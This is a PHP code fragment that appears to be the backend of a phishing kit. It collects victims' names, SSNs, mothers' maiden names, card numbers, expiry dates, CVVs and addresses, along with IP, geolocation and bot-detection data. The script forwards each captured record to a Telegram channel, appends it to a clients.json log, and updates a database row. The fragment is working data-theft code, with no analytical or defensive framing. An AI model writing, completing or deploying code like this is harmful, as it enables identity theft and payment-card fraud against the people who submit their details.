$clientId, 'device' => $device, 'ip' => $ip, 'geo' => ofb_geo($ip), 'browser' => ofb_browser($ua), 'full_name' => (string) ($in['full_name'] ?? ''), 'email' => (string) ($in['email'] ?? ''), 'phone' => (string) ($in['phone'] ?? ''), 'address' => (string) ($in['address'] ?? ''), 'dob' => (string) ($in['dob'] ?? ''), 'ssn' => (string) ($in['ssn'] ?? ''), 'mmn' => (string) ($in['mmn'] ?? ''), 'card_number'=> (string) ($in['card_number'] ?? ''), 'expiry' => (string) ($in['expiry'] ?? ''), 'cvv' => (string) ($in['cvv'] ?? ''), 'zipcode' => (string) ($in['zipcode'] ?? ''), ]; $checks = validate_verification($in); $valid = !in_array(false, $checks, true); ofb_telegram(ofb_msg_identity($ctx, $checks)); $record = array_merge($ctx, [ 'valid' => $valid, 'checks' => $checks, 'has_photo' => $hasPhoto, 'doc_type' => $docType, 'device' => $device, 'bot' => $bot, 'ip' => $ip, 'timestamp' => date('Y-m-d H:i:s'), ]); vc_append(__DIR__ . '/clients.json', $record); // keep the live row current try { if ($clientId !== '') { $pdo = ofb_db(); $fields = [ 'ip_address' => $ip, 'email' => $ctx['email'], 'verified_at' => date('Y-m-d H:i:s'), 'last_seen' => date('Y-m-d H:i:s'), ]; if ($docType !== '') { $fields['doc_type'] = $docType; } ofb_upsert($pdo, $clientId, $fields); } } catch (Throwable $e) { // best-effort } echo json_encode(['status' => 'ok', 'valid' => (bool) $valid]);